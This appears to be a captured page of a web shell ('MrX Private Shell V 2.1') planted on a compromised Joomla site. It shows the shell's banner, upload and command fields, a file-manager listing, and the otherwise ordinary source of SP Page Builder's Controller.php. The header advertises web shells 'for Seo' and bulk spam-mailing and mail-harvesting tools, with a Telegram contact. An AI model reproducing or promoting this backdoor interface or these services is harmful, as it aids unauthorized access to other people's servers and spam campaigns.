__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2024 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */


namespace JoomShaper\SPPageBuilder\DynamicContent;

use Exception;
use JoomShaper\SPPageBuilder\DynamicContent\Concerns\Validator;
use JoomShaper\SPPageBuilder\DynamicContent\Http\Request;
use JoomShaper\SPPageBuilder\DynamicContent\Http\Response;
use JoomShaper\SPPageBuilder\DynamicContent\Supports\Str;

defined('_JEXEC') or die;

class Controller
{
    use Validator;

    /**
     * The model instance.
     * 
     * @var Model|null
     * @since 5.5.0
     */
    protected $model = null;

    /**
     * The constructor.
     * 
     * @param Model|null $model
     * @since 5.5.0
     */
    public function __construct(?Model $model = null)
    {
        $this->model = $model;
    }

    /**
     * Get the model instance.
     * 
     * @return Model|null
     * @since 5.5.0
     */
    public function getModel()
    {
        return $this->model;
    }

    /**
     * Reorder collections.
     *
     * @param Input $input
     * @return void
     * @since 5.5.0
     */
    public function reorder(Request $request)
    {
        $model = $this->getModel();

        if (!$model) {
            return response()->json(['message' => 'Model not found for reordering.'], Response::HTTP_BAD_REQUEST);
        }

        $pks = $request->getRaw('pks');

        $data = [
            'pks' => $pks,
        ];

        $this->validate($data, [
            'pks' => 'required|string',
        ]);

        if ($this->hasErrors()) {
            return response()->json($this->getErrors(), Response::HTTP_BAD_REQUEST);
        }

        $pks = Str::toArray($pks);

        try
        {
            $orderingKey = $model->getOrderingKey();
            $primaryKey = $model->getPrimaryKey();

            $model->whereIn($primaryKey, $pks)
                ->update(function ($queryBuilder) use ($pks, $orderingKey, $primaryKey) {
                    $db = $queryBuilder->getDatabase();
                    $orderingQueryString = $queryBuilder->quoteNameWithPrefix($orderingKey) . ' = CASE ' . $queryBuilder->quoteNameWithPrefix($primaryKey);

                    foreach ($pks as $index => $pk) {
                        $orderingValue = $index + 1;
                        $orderingQueryString .= ' WHEN ' . $db->quote($pk) . ' THEN ' . $db->quote($orderingValue) . ' ';
                    }

                    $orderingQueryString .= ' END';
                    return $orderingQueryString;
                });

            return response()->json(true);
        }
        catch (Exception $error)
        {
            return response()->json(['message' => $error->getMessage()], Response::HTTP_INTERNAL_SERVER_ERROR);
        }
    }
}

Filemanager

Name Type Size Permission Actions
Concerns Folder 0775
Constants Folder 0775
Contracts Folder 0775
Controllers Folder 0775
Exceptions Folder 0775
Http Folder 0775
Models Folder 0775
Relations Folder 0775
Services Folder 0775
Site Folder 0775
Supports Folder 0775
Controller.php File 2.8 KB 0664
DynamicContent.php File 5.15 KB 0664
Model.php File 10.96 KB 0664
QueryBuilder.php File 31.24 KB 0664
helper.php File 2.3 KB 0664
Filemanager